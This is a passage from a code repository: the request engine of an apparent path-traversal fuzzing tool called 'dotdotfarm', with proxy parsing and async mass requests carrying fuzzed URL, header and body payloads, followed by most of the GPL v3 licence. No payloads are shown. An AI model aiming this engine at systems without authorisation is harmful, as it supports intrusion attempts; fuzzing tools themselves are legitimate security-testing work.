5 | import re 6 | import aiohttp 7 | import tqdm.auto 8 | import yarl 9 | from collections import namedtuple 10 | from colorama import Fore, Style 11 | from aiohttp_socks import ProxyConnector, ProxyType 12 | 13 | import dotdotfarm.callbacks.cobject 14 | # from dotdotfarm.callbacks.cobject import FailedCallback 15 | 16 | def parse_proxy(url): 17 | proxy_type = proxy[url.split('://')[0]] # TODO: try make it via regex 18 | host = url.split('://')[1].split('@')[-1].split(':')[0] 19 | port = url.split('://')[1].split('@')[-1].split(':')[1].split('/')[0] 20 | username = re.match(r'.+://([^:]\S)+:', url) 21 | if username is not None: 22 | username = username.group().split('://')[1].replace(':', '') 23 | password = re.search(r'(?!://):\S+@', url) 24 | if password is not None: 25 | password = password.group()[1:-1] 26 | proxy_dict = { 27 | 'scheme': proxy_type, 28 | 'host': host, 29 | 'port': port, 30 | 'username': username, 31 | 'password': password 32 | } 33 | 34 | return proxy_dict 35 | 36 | 37 | HttpQuery = namedtuple('HTTP_QUERY', 'type_ fuzzed payload file') 38 | HttpResponse = namedtuple('HTTP_RESPONSE', 'url status headers data payload file') 39 | proxy = { 40 | 'socks5': ProxyType.SOCKS5, 41 | 'socks4': ProxyType.SOCKS4, 42 | 'http': ProxyType.HTTP 43 | } 44 | 45 | 46 | class HTTPEngine: 47 | 48 | def __init__(self, url, method, headers, data, payloads, 49 | limit: int = 1000, 50 | status_manager=tqdm.asyncio.tqdm, 51 | allow_redirects: bool = False, 52 | verify_ssl: bool = False, 53 | timeout: int = 60, 54 | callbacks=[], 55 | filters=None, 56 | rate: int = 0, 57 | proxy: str = ''): 58 | self.method = method 59 | self.url = url 60 | self.headers = headers 61 | self.data = data 62 | self.payloads = payloads 63 | self.limit = limit 64 | self.status_manager = status_manager 65 | self.allow_redirects = allow_redirects 66 | self.verify_ssl = verify_ssl 67 | self.callbacks = callbacks 68 | self.timeout = timeout 69 | self.rate = rate 70 | self.proxy = '' if not proxy else parse_proxy(proxy) 71 | 72 | self.fc = filters[0] 73 | self.fs = filters[1] 74 | 75 | self.tasks = [] 76 | 77 | if self.status_manager == tqdm.auto.asyncio_tqdm: 78 | self.status_wrapped = tqdm.auto.asyncio_tqdm.as_completed 79 | else: 80 | raise ValueError 81 | 82 | if self.rate: 83 | self.semaphore = asyncio.Semaphore(self.rate) 84 | 85 | async def run(self): 86 | # if self.proxy.split('://')[0] not in ('socks5', 'socks4'): # This fixes bug to create async object inside async functions 87 | # self.connector = aiohttp.TCPConnector(limit=self.limit) 88 | # else: 89 | # urlparse() can't parse some urls containing login:password pairs, so make custom parsing of URL 90 | if self.proxy: 91 | self.connector = ProxyConnector( 92 | proxy_type=self.proxy['scheme'], 93 | host=self.proxy['host'], 94 | port=self.proxy['port'], 95 | username=self.proxy['username'], 96 | password=self.proxy['password'], 97 | rdns=True) # aka 'socks5://user:password@127.0.0.1:1080' 98 | else: 99 | self.connector = aiohttp.TCPConnector(limit=self.limit) 100 | 101 | try: 102 | async with aiohttp.ClientSession( 103 | connector=self.connector, 104 | timeout=aiohttp.ClientTimeout(sock_connect=self.timeout)) as session: 105 | # Check if server is available 106 | try: 107 | async with session.get( 108 | yarl.URL(self.url).origin(), 109 | verify_ssl=self.verify_ssl, 110 | allow_redirects=False) as response: 111 | # async with session.get(self.url) as response: 112 | await response.read() 113 | except aiohttp.client_exceptions.ClientConnectorError as e: 114 | print( 115 | f'[{Fore.RED}-{Style.RESET_ALL}] Connection error while connecting to target: {e.args[-1].reason}') 116 | await aiohttp.TCPConnector().close() 117 | return 118 | except BaseException as e: 119 | print(e) 120 | # Check proxy 121 | try: 122 | response = await session.get( 123 | yarl.URL(self.url).origin(), 124 | verify_ssl=self.verify_ssl, 125 | allow_redirects=False) 126 | # async with session.get(self.url, proxy=self.proxy) as response: 127 | await response.read() 128 | except aiohttp.client_exceptions.ClientConnectorError as e: 129 | print(f'[{Fore.RED}-{Style.RESET_ALL}] Connection error while checking proxy: {e.args[-1].reason}') 130 | await aiohttp.TCPConnector().close() 131 | return 132 | except BaseException as e: 133 | print(e) 134 | 135 | for payload in self.payloads: 136 | if payload.type_ == 'url': 137 | self.tasks.append( 138 | asyncio.create_task( 139 | self.request( 140 | session, self.method or 'GET', payload.fuzzed, 141 | headers=self.headers, 142 | data=self.data, 143 | payload=payload.payload, 144 | file=payload.file))) 145 | elif payload.type_ == 'header': 146 | self.tasks.append( 147 | asyncio.create_task( 148 | self.request( 149 | session, 150 | self.method or ('POST' if self.data else 'GET'), 151 | self.url, 152 | headers=payload.fuzzed, 153 | data=self.data, 154 | payload=payload.payload, 155 | file=payload.file))) 156 | elif payload.type_ == 'data': 157 | self.tasks.append( 158 | asyncio.create_task( 159 | self.request( 160 | session, self.method or 'POST', self.url, 161 | headers=self.headers, 162 | data=payload.fuzzed, 163 | payload=payload.payload, 164 | file=payload.file))) 165 | for callback in self.callbacks: 166 | self.tasks[-1].add_done_callback(callback) 167 | 168 | async for task in self.status_manager(self.tasks, unit=' req'): 169 | await task 170 | 171 | except (asyncio.CancelledError, KeyboardInterrupt): 172 | pass 173 | except asyncio.TimeoutError: 174 | print(f'[{Fore.RED}-{Style.RESET_ALL}] Timeout occurred') 175 | await aiohttp.TCPConnector().close() 176 | except ConnectionResetError: 177 | return 178 | except AttributeError as e: 179 | return 180 | except BaseException as e: 181 | print(e) 182 | return 183 | finally: 184 | # print(f'[{Fore.CYAN}*{Style.RESET_ALL}] Cancelling tasks') 185 | for task in self.tasks: 186 | task.cancel() 187 | 188 | async def request(self, session, method, url, *, 189 | headers, data, payload, 190 | file): 191 | url = yarl.URL(url, encoded=True) 192 | try: 193 | if self.rate: 194 | await self.semaphore.acquire() 195 | async with session.request(method, url, 196 | headers=headers, data=data, 197 | verify_ssl=self.verify_ssl, 198 | allow_redirects=self.allow_redirects) as response: 199 | text = await response.read() 200 | if self.rate: 201 | await asyncio.sleep(1) 202 | self.semaphore.release() 203 | url = str(url) 204 | resp = HttpResponse(url, response.status, response.headers, text, payload, file) 205 | return self.filtered(resp) 206 | except asyncio.CancelledError: 207 | raise 208 | except asyncio.TimeoutError: 209 | raise 210 | except ( 211 | aiohttp.client_exceptions.ClientConnectorError, 212 | aiohttp.ClientOSError, 213 | aiohttp.ServerDisconnectedError, 214 | aiohttp.ClientPayloadError): 215 | pass 216 | # return HttpResponse(url, None, None, None, None) 217 | except ConnectionResetError: 218 | return 219 | except KeyboardInterrupt: 220 | raise 221 | except RuntimeError as e: 222 | print(e) 223 | return 224 | except BaseException as e: 225 | print(e) 226 | return 227 | 228 | def filtered(self, response): 229 | """ Filters response based on user rules """ 230 | try: 231 | if not any(map(lambda x: re.match(x, str(response.status)), self.fc)) and \ 232 | not any(map(lambda x: re.match(x, str(len(response.data))), self.fs)): 233 | # if response.status not in self.fc and len(response.data) not in self.fs: 234 | return dotdotfarm.callbacks.cobject.CallbackObject( 235 | response) # return response from engine as callback-chain object 236 | except BaseException: 237 | return 238 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF 